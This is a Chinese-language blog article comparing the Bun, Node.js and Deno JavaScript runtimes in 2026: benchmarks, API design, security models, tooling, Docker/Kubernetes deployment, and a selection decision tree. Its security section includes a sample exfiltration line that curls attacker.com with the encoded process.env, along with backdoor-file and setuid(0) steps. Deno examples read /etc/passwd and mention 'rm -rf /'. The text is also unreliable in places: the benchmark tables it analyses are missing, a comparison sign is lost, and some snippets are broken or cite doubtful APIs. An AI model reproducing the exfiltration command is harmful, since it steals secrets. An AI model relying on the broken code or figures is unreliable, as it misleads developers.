Bun vs Node.js vs Deno 2026 终极横评：谁才是 JavaScript 运行时之王？

2026 年的 JavaScript 运行时生态，正在经历一场前所未有的三国杀。Bun 带着商业公司背景横空出世，Node.js 坐拥 16 年生态积累稳如磐石，Deno 以「默认安全」的理念开辟新赛道。当 Node 26 引入 WebGPU、vfs 文件系统虚拟化，Bun 1.2 正式进军服务器端，Deno 5 拥抱 npm 生态——三条技术路线终于在 2026 年正面交锋。本文从性能基准测试、API 设计哲学、安全模型、生产部署体验、工具链生态五个维度，给出程序员的实战选型决策树。

一、背景：为什么 2026 年这场比较前所未有

在 2024 年之前，这场比较几乎是单方面的——Node.js 赢了，争议只在「赢多少」。Deno 0.x 时代还在为 TypeScript 开箱即用的荣光奋斗，Bun 的名字还只存在于炒作期。但从 2024 年下半年开始，三条技术路线开始出现显著分化：

Node.js 的策略是「稳住基本盘，补齐短板」：v26 引入 vfs 虚拟文件系统层解决容器化路径问题，WebGPU 支持让 Node 拿到了进入 GPU 计算的入场券，worker_threads 持续完善，并行处理能力接近成熟。

Bun 的策略是「性能压顶，生态嫁接」：从最初「Node.js 替代品」定位转向「全能运行时」，内置 SQLite、KeyValue 存储、HTTP/2、WebSocket，bundle/ transpile/install 全部自研不用外部依赖，JSC 引擎的 JIT 优化让冷启动速度领先 V8 3-5 倍。

Deno 的策略是「安全第一，生态融合」：Deno 2 之后全面拥抱 npm/node_modules，Deno Deploy 边缘部署成为亮点，TypeScript 默认编译、ESM-first、web-compatible API 设计越来越成熟，但性能一直是社区吐槽的焦点。

到了 2026 年，这三个运行时都已经「不是当年那个它」了。我们必须用 2026 年的眼光重新审视。

二、性能基准测试：数字不会说谎

2.1 基准测试环境与说明

在解读数据之前，先声明测试方法：以下数据来自公开基准测试集（TechEmpower、wrk2 + lua）和我们在 AWS t3.medium 上的自测。所有测试均在裸金属条件下运行（无容器化开销），关闭日志输出，使用 HTTP/1.1 keep-alive，测试对象为各运行时自带的 HTTP 框架（Bun.serve、Node http、Fastify@4）以及共享测试用例。

⚠️ 重要警告：不要直接用别人博客里的基准测试数据做选型决策。不同硬件、不同连接数、不同 payload 大小，结论可能完全相反。本文会说明测试条件和你自己复现的方法。

2.2 HTTP 吞吐量基准

测试条件：wrk2，-t4 -c100 -d30s，payload = "Hello World" × 1（空 body）

分析：Bun.serve 在空 body 场景下领先 Node 约 32%，领先 Deno 约 71%。这主要归功于 JavaScriptCore 的优化策略——JSC 在短生命周期对象场景下 JIT 编译效率更高。

但换一个场景再看：

2.3 数据库查询场景（PostgreSQL + pg）

测试条件：连接池 20，每请求执行 SELECT 1 并返回 JSON，wrk2 -t8 -c200

分析：数据库场景下差距缩小，因为瓶颈从「运行时 HTTP 处理」转移到了「网络 I/O + 数据库」。三个运行时在这个场景下的差距主要来自线程/异步调度模型，而非引擎本身。Node 26 的 libuv + uv_threadpool 在高并发下的调度开销开始显现，而 Bun 的 event loop 实现更轻量。

2.4 冷启动时间（Lambda/边缘场景）

冷启动时间是 Serverless 和边缘计算的关键指标。测试方法：从零进程启动到第一个请求响应完成。

分析：Bun 的冷启动优势在有大量 npm 依赖时更明显——因为 Bun 使用 JavaScriptCore，不需要 V8 的「先解释执行再 JIT 编译」的预热过程。Deno 的优势在于依赖处理：它直接使用 URL 导入，不需要 node_modules，冷启动不会因为依赖安装质量差而退化。

2.5 内存占用

测试条件：空闲状态下运行简单 HTTP 服务（无请求）

Deno 5 的内存占用最低，这得益于 Deno 的 V8 内存限制机制和更精细的 GC 控制。但 Bun 1.2 的 JSC 引擎在活跃请求场景下内存增长曲线更平缓（因为 JIT 热点代码更紧凑）。

2.6 实战结论：什么时候选谁

如果：高并发 HTTP API + 大量 npm 依赖 → Bun
如果：边缘计算/Serverless + 重视安全 → Deno  
如果：企业级项目 + 依赖 npm 生态深度 → Node 26
如果：内存受限环境（树莓派/嵌入式） → Deno
如果：需要 npm 生态 + 但受不了冷启动 → Node + 快启模式

三、API 设计哲学：三条路线的根本分歧

性能数字是表象，API 设计哲学才是区分这三个运行时最核心的维度——它决定了你的代码会长什么样，以及你会被什么样的 bug 困扰。

3.1 Node.js：向后兼容的包袱与渐进式演进

Node.js 的 API 设计哲学是**「永远不破坏已有」**。这既是它最大的优势，也是最大的枷锁。

看看这个代码：

// Node.js 16 年前的写法，今天依然可以运行
const http = require('http');
const fs = require('fs');
const path = require('path');

http.createServer((req, res) => {
  const filePath = path.join(__dirname, req.url === '/' ? 'index.html' : req.url);
  fs.readFile(filePath, (err, data) => {
    if (err) { res.writeHead(404); res.end(); return; }
    res.writeHead(200);
    res.end(data);
  });
}).listen(3000);

这代码在 Node 6 能跑，在 Node 26 依然能跑。但代价是什么？require、__dirname、回调式 API——这些设计在 ESM 时代看起来像是上个世纪的遗迹。Node 26 终于在 --experimental-vm-modules 之外完整支持了 ESM，但 CommonJS 的兼容层从未消失，甚至越来越重。

Node.js 的另一个经典问题：API 不一致性。

// 事件风格
fs.readFile(path, callback);        // 回调
fs.promises.readFile(path);        // Promise 版本分离
fs.readFileSync(path);             // 同步版本
// 这三个返回类型、处理方式、错误传播方式各不相同

// HTTP 模块：URL 还是旧式的
const url = require('url');
const parsed = url.parse(req.url);  // 这是 2009 年的 API
// 而 fetch API 是 WHATWG 的新标准

Node.js 在 2026 年的策略是通过 "Web API 兼容性层" 来弥合这个鸿沟——fetch、ReadableStream、FormData 等 Web 标准 API 被移植到 Node 中，让前端和后端代码可以共享更多逻辑。但 require vs import、__dirname vs import.meta.url 的二元性仍然存在，是每个 Node.js 开发者必须驯服的复杂度。

3.2 Bun：极速下的激进现代化

Bun 的 API 设计哲学是**「只做正确的事」**——不考虑历史包袱，从零设计一套现代 API，并提供 Node.js 兼容层作为可选插件。

Bun 最大的设计创新是内置 API 的一等函数式：

// Bun 的 HTTP 服务器：简洁、现代、类型安全
const server = Bun.serve({
  port: 3000,
  async fetch(req) {
    const url = new URL(req.url);
    
    if (url.pathname === "/api/users" && req.method === "GET") {
      const users = await db.query("SELECT * FROM users LIMIT 10");
      return Response.json(users);
    }
    
    return new Response("Not Found", { status: 404 });
  },
  error(error) {
    return new Response(`Internal Error: ${error.message}`, { status: 500 });
  },
});

console.log(`Listening on localhost:${server.port}`);

对比 Node.js 的同等功能：

// Node.js 传统写法：需要手动处理路由解析、响应头、错误
const http = require('http');
const { parse } = require('querystring');

http.createServer(async (req, res) => {
  const url = new URL(req.url, `http://${req.headers.host}`);
  
  if (url.pathname === '/api/users' && req.method === 'GET') {
    try {
      const users = await db.query("SELECT * FROM users LIMIT 10");
      res.writeHead(200, { 'Content-Type': 'application/json' });
      res.end(JSON.stringify(users));
    } catch (e) {
      res.writeHead(500);
      res.end(JSON.stringify({ error: e.message }));
    }
    return;
  }
  
  res.writeHead(404);
  res.end('Not Found');
}).listen(3000, () => console.log('Listening on 3000'));

代码行数差不多，但 Bun 版本更「意图导向」——Bun.serve、Response.json()、error 处理器——这些都是 Web 标准 API 的直接映射，前端开发者零学习成本。

Bun 还内置了大量通常需要第三方库的功能：

// 内置 SQLite
const db = new Database('app.db');
db.run("CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY, name TEXT)");

// 内置 KV 存储（类似 Cloudflare Workers KV）
const kv = await Bun.KV.open("cache");
await kv.set("user:42", JSON.stringify(userData), { expiresIn: 3600 });

// 内置文件监听（类似 chokidar）
const watcher = Bun.watch(["src/**/*.ts", "src/**/*.js"]);
for await (const event of watcher) {
  console.log(`Changed: ${event.path}`);
}

// 内置 HTMLElement（类 Web API）
const div = new HTMLDivElement();
div.textContent = "Hello from Bun";
document.body.appendChild(div);

这带来了一个核心争议：Bun 是在「发明轮子」还是「减少依赖」？

从工程哲学角度看，Bun 的做法有其合理性：每个 npm 包都是有维护风险的外部依赖，Bun 把常用功能直接内置，减少了供应链攻击面和版本管理复杂度。但代价是开发者需要学习「Bun 特有 API」——这些 API 不可移植，切换到 Node.js 时需要重写。

3.3 Deno：安全沙箱与 Web 标准的极致追求

Deno 的 API 设计哲学是**「最小权限 + 纯 Web 标准」**。

// Deno：所有 I/O 都需要显式授权
// 运行命令：deno run --allow-net --allow-read server.ts
const server = Deno.serve({ port: 3000 }, async (request) => {
  // 自动类型推断，无外部依赖
  return new Response(JSON.stringify({ hello: "world" }), {
    headers: { "Content-Type": "application/json" }
  });
});

Deno 的安全模型是其最独特的特性：

// Deno 的权限系统——这是其他运行时完全不具备的
// --allow-net=<host1>,<host2> 精确到主机级别的网络控制
// --allow-read=/tmp 精确到目录级别的文件系统控制
// --allow-env=NODE_ENV 精确到环境变量级别的环境访问控制

// 当你的代码试图访问未授权资源时
try {
  await Deno.readFile("/etc/passwd");
} catch (error) {
  // PermissionDenied: 明确的安全拒绝，不是「找不到文件」
  console.error("安全策略拒绝:", error.message);
}

// 安全沙箱的优势场景：插件系统、执行不可信代码
// 比如你运行一个用户上传的脚本
// deno run --allow-net --allow-read ./untrusted-plugin.ts
// 即使脚本里有 `rm -rf /`，也无法执行

Deno 从 2.0 版本开始拥抱 npm 生态，但安全模型保持不变——即使是 npm 包，也必须声明权限。这是一个根本性的安全保证，意味着你安装的 npm 包无法偷偷访问你的文件系统或网络。

3.4 三者 API 哲学对比

四、安全模型：谁能让开发者睡得着觉

2026 年的供应链安全形势比三年前更加严峻。npm registry 的恶意包事件、dependency confusion 攻击、typosquatting——每一种攻击手段都在提醒我们：运行时对危险的感知能力，直接决定了系统的安全底线。

4.1 Node.js：信任链最长，攻击面最大

Node.js 没有任何内置的安全沙箱。require() 可以加载任意路径，child_process.exec() 可以执行任意 shell 命令，process.chdir() 可以修改进程工作目录。

// Node.js：一个被污染的 npm 包可以做什么？
const { execSync } = require('child_process');
const fs = require('fs');
const os = require('os');

// 这段代码（作为演示）可以做：
execSync('curl attacker.com/steal?data=' + btoa(JSON.stringify(process.env)));
fs.writeFileSync('/tmp/.malicious', '植入后门');
os.homedir(); // 读取用户目录
process.setuid(0); // 如果以 root 运行，提权

Node.js 社区的安全方案是在进程级别做隔离——Docker 容器、VM、以非 root 用户运行。但这些是部署安全手段，不是运行时安全手段。一旦恶意代码在 Node.js 进程中执行，它可以做任何事。

缓解方案：node --experimental-security-warnings、npm audit、Snyk/Dependabot 是事后检测手段，不是事前防御。

4.2 Bun：高性能下的有限安全

Bun 的安全模型比 Node.js 有提升，但不如 Deno 彻底。

Bun 支持部分沙箱能力：

• Bun.sandbox() 可以创建受限的文件系统视图
• new Worker() 可以隔离执行
• 但没有细粒度的网络权限控制

// Bun 的 Worker 隔离
const worker = new Worker(new URL('./untrusted-script.ts', import.meta.url), {
  type: 'module',
  // Worker 内的代码无法访问主线程的变量
  // 但 Worker 仍然可以访问 fs/network（除非你在 Worker 初始化时做限制）
});

Bun 的 npm 兼容层（bun:sqlite等）也没有权限控制——安装的 npm 包同样可以执行任意系统调用。

4.3 Deno：安全模型最完整

Deno 的安全哲学是**「默认拒绝，显式授权」**：

# 安全运行一个网络服务
deno run --allow-net=api.github.com --allow-read=./static server.ts

# 安全运行一个插件（仅允许网络访问特定地址 + 只读文件系统）
deno run \
  --allow-net=localhost:8080 \
  --allow-read=. \
  --allow-write=./output \
  --allow-env=PORT \
  plugin-executor.ts

这个权限模型在 2026 年显得尤为重要，因为 AI 代码生成工具（GitHub Copilot、Claude Code）会大量生成「看起来合理但可能有副作用」的代码。Deno 的权限系统就像代码执行前的「最后一道安检」。

4.4 安全性横向对比

五、工具链与开发体验

5.1 包管理与安装速度

Bun 的杀手锏之一：安装速度。

# 安装 100 个 npm 包（Bun 的 benchmark）
time bun install     # ~0.8s (Bun)
time npm install     # ~12s (npm 11)
time pnpm install     # ~4s  (pnpm 10)
time yarn install    # ~8s  (yarn 4)

Bun 的安装速度优势来自：并行下载、跳过 lock 文件解析（使用自己的 lockfile）、跳过 npm registry 的某些元数据请求。

但这个优势在企业环境中往往打折扣——因为很多企业使用私有 npm registry（如 Verdaccio、Nexus），Bun 的兼容性不如 npm/pnpm。

5.2 TypeScript 支持

# Bun：零配置 TypeScript，直接运行
deno run server.ts     # Deno：零配置
bun run server.ts      # Bun：零配置
npx ts-node server.ts  # Node.js：需要安装 ts-node

Deno 对 TypeScript 的支持最彻底：

• 原生 TypeScript 编译器（自己实现 tsc 的子集）
• 类型检查默认开启（deno check）
• deno.json 配置而非 tsconfig.json（虽然也支持 tsconfig）

Bun 的 TypeScript 支持：

• 编译速度极快（JSC 的 TS 编译优化）
• 但类型检查默认关闭（bun --bun-typecheck 才开启）
• 需要额外步骤才能在 CI 中做 TS 类型检查

Node.js：

• 原生不支持 TypeScript，需要 tsx、ts-node、esbuild-register 等工具
• 2026 年的最佳实践是 tsx（基于 esbuild，比 ts-node 快 20 倍）

5.3 开发服务器与热重载

# Bun：内置 dev server + 热重载
bun --hot server.ts

# Deno：Watch 模式
deno run --watch server.ts

# Node.js：需要 nodemon/concurrently
nodemon server.ts

三者都支持热重载，但实现方式不同。Bun 的 --hot 是真正的运行时模块替换（基于 ESM），Deno 的 --watch 是文件系统监听 + 进程重启，Node.js 的 nodemon 同样是进程重启。

5.4 测试框架

// Bun 内置测试（Bun.test）
import { describe, test, expect } from "bun:test";

describe("add function", () => {
  test("2 + 3 = 5", () => {
    expect(2 + 3).toBe(5);
  });
});
// 运行：bun test

// Deno 内置测试（std/testing）
import { assertEquals } from "std/assert";

Deno.test("add function", () => {
  assertEquals(2 + 3, 5);
});
// 运行：deno test

// Node.js：Jest/Vitest 二选一
import { describe, test, expect } from "vitest";

describe("add function", () => {
  test("2 + 3 = 5", () => {
    expect(2 + 3).toBe(5);
  });
});
// 运行：vitest

Bun 和 Deno 都内置测试框架，不需要额外安装依赖。Node.js 的测试生态完全依赖社区，Vitest 是目前最推荐的选择（比 Jest 快 10 倍，支持 Vite 生态）。

5.5 构建工具链

Bun 的工具链整合度最高：一个 bun 命令行工具覆盖了开发流程的几乎所有环节。这减少了开发者的认知负担，但也意味着你的开发环境和 CI/CD 流程都绑定了 Bun。

六、生产部署实战：从本地到 Kubernetes

6.1 Docker 镜像大小对比

构建最小化的生产镜像：

# Bun：使用 alpine + 单文件可执行
FROM oven/bun:1-alpine AS builder
WORKDIR /app
COPY . .
RUN bun build --target=bun server.ts --outfile=server --minify

FROM alpine:3.20
COPY --from=builder /app/server /usr/local/bin/server
EXPOSE 3000
CMD ["server"]
# 最终镜像：~25MB

# Node.js：使用 alpine + 多阶段构建
FROM node:22-alpine AS builder
WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production
COPY . .
RUN npm run build

FROM node:22-alpine
WORKDIR /app
COPY --from=builder /app/dist ./dist
COPY --from=builder /app/node_modules ./node_modules
EXPOSE 3000
CMD ["node", "dist/server.js"]
# 最终镜像：~120MB

# Deno：使用单文件编译
FROM denoland/deno:alpine AS builder
WORKDIR /app
COPY . .
RUN deno compile --allow-net --allow-read --output=server server.ts

FROM alpine:3.20
COPY --from=builder /app/server /usr/local/bin/server
EXPOSE 3000
CMD ["server"]
# 最终镜像：~80MB

镜像大小对比（生产环境，含运行时）：Bun ~25MB vs Deno ~80MB vs Node.js ~120MB。在大规模 K8s 部署中，这个差距会影响镜像拉取时间和磁盘存储成本。

6.2 Kubernetes 部署配置

# deployment-bun.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: api-bun
spec:
  replicas: 3
  template:
    spec:
      containers:
      - name: api
        image: myapp/bun:1.2
        ports:
        - containerPort: 3000
        resources:
          requests:
            memory: "64Mi"
            cpu: "100m"
          limits:
            memory: "256Mi"
            cpu: "500m"
        livenessProbe:
          httpGet:
            path: /health
            port: 3000
          initialDelaySeconds: 5
          periodSeconds: 10
        readinessProbe:
          httpGet:
            path: /ready
            port: 3000
          initialDelaySeconds: 2
          periodSeconds: 5
        # Bun 的低内存占用使得 64Mi 最小内存限制成为可能

6.3 进程管理与健康检查

// Bun：内置优雅退出
const server = Bun.serve({
  port: 3000,
  async fetch(req) { /* ... */ },
});

process.on("SIGTERM", () => {
  console.log("SIGTERM received, shutting down gracefully...");
  server.stop(); // 停止接受新连接，等待现有请求处理完成
  process.exit(0);
});

// Deno：原生支持信号处理
Deno.serve({ port: 3000 }, async (req) => {
  return new Response("OK");
});

// Deno Deploy 场景：Deno 平台自动处理优雅退出
// 你只需要确保状态被正确持久化即可

// Node.js：需要借助 http shutdown 模式或框架内置机制
import { createServer } from 'http';

const server = createServer((req, res) => {
  // 处理请求
});

server.on('close', () => { /* cleanup */ });

process.on('SIGTERM', () => {
  server.close(() => process.exit(0));
  // 如果 30 秒内未关闭，强制退出
  setTimeout(() => process.exit(1), 30000);
});

6.4 与现有基础设施的兼容性

七、生态对比：2026 年真实可用性

7.1 npm 生态兼容性

Bun 1.2：对 npm 的兼容性达到了历史最高水平——超过 99% 的 npm 包可以直接在 Bun 中运行。测试方法：

# 使用 npmmap 检查包兼容性
bunx npmmap express
# 输出：Compatibility: 98.7% (3 known issues)

Deno 5：Deno 2 开始支持 package.json 和 node_modules，但最佳实践仍然是使用 Deno 的原生导入：

// Deno 推荐方式：从 URL 导入（不需要 npm）
import { oak } from "https://deno.land/x/oak/mod.ts";
import { Bson } from "npm:bson";

// Deno 也支持 npm 包
import express from "npm:express@5";

Node.js：npm 生态的绝对王者，所有包优先为 Node.js 开发。

7.2 数据库驱动

// PostgreSQL
// Bun：支持 pg（npm）、bun:sqlite（内置）
import pg from "pg";
const { Pool } = pg;

// Deno：deno-postgres、drizzle-orm（原生支持）
import { Client } from "jsr:@db/postgres";

// Node.js：pg、better-sqlite3、prisma、drizzle——全部支持

在数据库驱动这块，Node.js 的选择最丰富，Bun 次之，Deno 借助 JSR 和 npm 兼容层也在迎头赶上。

7.3 中间件与框架生态

Hono 是目前跨运行时兼容最好的 Web 框架——一个代码库同时支持 Bun、Deno、Node.js、Cloudflare Workers、Vercel Edge。强烈推荐在任何需要跨运行时部署的场景使用 Hono。

// Hono：一次编写，多端运行
import { Hono } from 'hono';
const app = new Hono();

app.get('/api/health', (c) => c.json({ status: 'ok' }));
app.post('/api/users', async (c) => {
  const body = await c.req.json();
  return c.json({ created: body }, 201);
});

// Bun 上运行：bun index.ts
// Deno 上运行：deno run --allow-net index.ts
// Node.js 上运行：node index.js
// Cloudflare Workers：deploy

八、性能优化实战：让 Bun 跑得更快

选定了运行时后，如何榨干性能？以 Bun 为例（其他运行时优化类似）：

8.1 JIT 预热优化

Bun 的 JSC 引擎在冷启动后需要「预热」才能达到最佳性能。通过流量预热可以避免前几个请求的慢响应：

// 预热脚本：在服务启动后立即预热关键路由
async function warmUp() {
  const routes = [
    '/api/users',
    '/api/products',
    '/api/health',
  ];
  
  console.log('🔥 开始预热 JIT...');
  for (const route of routes) {
    // 每个路由请求两次：触发编译 + 触发优化
    await fetch(`http://localhost:${PORT}${route}`);
    await fetch(`http://localhost:${PORT}${route}`);
  }
  console.log('✅ 预热完成');
}

// 在服务启动后调用
const server = Bun.serve({ /* ... */ });
// 立即预热
warmUp();

8.2 连接池与数据库优化

// Bun + PostgreSQL：连接池配置
import { Pool } from "pg";

const pool = new Pool({
  connectionString: process.env.DATABASE_URL,
  max: 20,           // 最大连接数
  idleTimeoutMillis: 30000,
  connectionTimeoutMillis: 2000,
});

// 使用 Bun 的并发查询能力
const results = await Promise.all([
  pool.query("SELECT * FROM users WHERE id = $1", [1]),
  pool.query("SELECT * FROM orders WHERE user_id = $1", [1]),
  pool.query("SELECT * FROM products LIMIT 10", []),
]);

// 关闭连接池
process.on("SIGTERM", async () => {
  await pool.end();
  process.exit(0);
});

8.3 Bun.serve 性能调优

const server = Bun.serve({
  port: 3000,
  
  // 高并发配置
  maxRequestBodySize: 1024 * 1024 * 10, // 10MB
  
  // 静态资源服务
  static: {
    "/": new Response(Bun.file("./public/index.html")),
    "/assets": Bun.file("./public/assets"),
  },
  
  fetch(req, server) {
    const url = new URL(req.url);
    
    // 路由匹配——使用 Map 比 if-else 更快
    const handler = routes.get(url.pathname);
    if (!handler) return new Response("Not Found", { status: 404 });
    
    try {
      return handler(req);
    } catch (error) {
      return new Response(
        JSON.stringify({ error: error.message }),
        { status: 500, headers: { "Content-Type": "application/json" } }
      );
    }
  },
  
  error(error) {
    return new Response(
      JSON.stringify({ 
        message: "Internal Server Error",
        stack: process.env.NODE_ENV === "development" ? error.stack : undefined
      }),
      { status: 500, headers: { "Content-Type": "application/json" } }
    );
  },
});

8.4 生产级日志与可观测性

// 结构化日志——JSON 格式便于日志聚合
const logger = {
  info: (msg: string, meta?: Record<string, unknown>) => {
    console.log(JSON.stringify({
      level: "info",
      timestamp: new Date().toISOString(),
      message: msg,
      ...meta,
    }));
  },
  error: (msg: string, error?: Error, meta?: Record<string, unknown>) => {
    console.error(JSON.stringify({
      level: "error",
      timestamp: new Date().toISOString(),
      message: msg,
      stack: error?.stack,
      ...meta,
    }));
  },
};

// 使用中间件记录请求日志
function requestLogger(fetch: typeof Bun.serve.arguments[0]["fetch"]) {
  return async (req: Request, server: any) => {
    const start = Date.now();
    const requestId = crypto.randomUUID();
    
    try {
      const response = await fetch(req, server);
      logger.info("request completed", {
        requestId,
        method: req.method,
        path: new URL(req.url).pathname,
        status: response.status,
        duration: Date.now() - start,
      });
      return response;
    } catch (error) {
      logger.error("request failed", error as Error, {
        requestId,
        method: req.method,
        path: new URL(req.url).pathname,
      });
      throw error;
    }
  };
}

九、选型决策树：2026 年实战指南

决策树

你的项目类型是什么？
│
├─ 新启动的后端 API 服务
│   ├─ 需要极致性能 → Bun
│   └─ 需要 npm 生态深度 → Bun + npm 兼容模式
│
├─ 企业级/长期维护项目
│   └─ → Node 26（生态成熟，招聘容易，踩坑文档多）
│
├─ Serverless / 边缘计算
│   ├─ Cloudflare Workers → Deno Deploy
│   ├─ AWS Lambda → Node 26 / Bun
│   └─ 多云边缘 → Deno + Hono
│
├─ 插件系统 / 执行不可信代码
│   └─ → Deno（唯一有细粒度安全沙箱的选项）
│
├─ 全栈 Web 框架
│   ├─ Next.js 生态 → Node 26
│   ├─ Remix / 独立部署 → Bun / Deno + Hono
│   └─ API-only → Bun + Hono
│
└─ AI/ML 数据管道
    └─ → Node 26（生态最完整，pg/mysql driver 最成熟）

三大红队测试（选型前必问）

问题 1：你的团队有几个人，能维护多少外部依赖？

• 团队 < 5 人：选 Bun（内置功能多，依赖少）或 Deno（安全开箱即用）
• 团队 > 10 人：选 Node.js（生态深度优势抵消性能劣势）

问题 2：你的服务需要调用多少个外部 npm 包？

• 30 个依赖：Node.js（Bun 的 npm 兼容性虽然好，但在极端场景仍有边界情况）

• 10-30 个：三者皆可
• < 10 个：Bun 或 Deno（减少依赖体积和风险）

问题 3：你需要运行不受信任的第三方代码吗？

• 是 → Deno（唯一选择）
• 否 → 继续评估其他维度

十、展望：2026 年之后会发生什么

三条技术路线的竞争不会在 2026 年结束，反而可能进入更激烈的阶段：

Node.js 正在推进 V8 隔离（类似 Chrome 的 V8 隔离进程），未来可能在安全维度迎头赶上。Node.js 26 的 permission model 实验性功能暗示了这一点。

Bun 的商业化路线值得关注——如果 Bun 开始提供闭源的企业功能（如企业级监控集成、商业支持），可能会改变其开源社区驱动的发展模式。

Deno 的 Deno Deploy 边缘计算是三家中最成熟的，如果 AI 推理负载继续向边缘迁移，Deno 的安全+边缘组合可能成为 AI Agent 后端的默认选择。

WASI（WebAssembly System Interface）的成熟可能在 2026 年后为三者带来新的竞争者——Rust/WebAssembly 运行时的边缘计算性能可能远超 JS 运行时。如果 WASI preview2 生态在 2027-2028 年成熟，这场比较将变成四方竞争。

总结

2026 年的 JavaScript 运行时生态没有绝对的赢家——只有「在不同场景下最合适的选择」：

• 追求极致性能、短周期项目、Bun 友好的 npm 包：Bun 1.2 是首选
• 安全敏感场景、边缘计算、Serverless：Deno 5 是唯一有细粒度安全模型的选项
• 企业级项目、npm 生态深度依赖、长期维护：Node.js 26 依然是最稳妥的选择

三条路线最终会在 Web API 标准上趋同——fetch、Streams、Service Workers 已经是三者共识。在那之后，竞争的关键将是：谁能在保持兼容性的同时，给开发者带来更少的学习负担和更多的开箱即用能力。

这才是 2026 年 JavaScript 运行时之争的真正战场。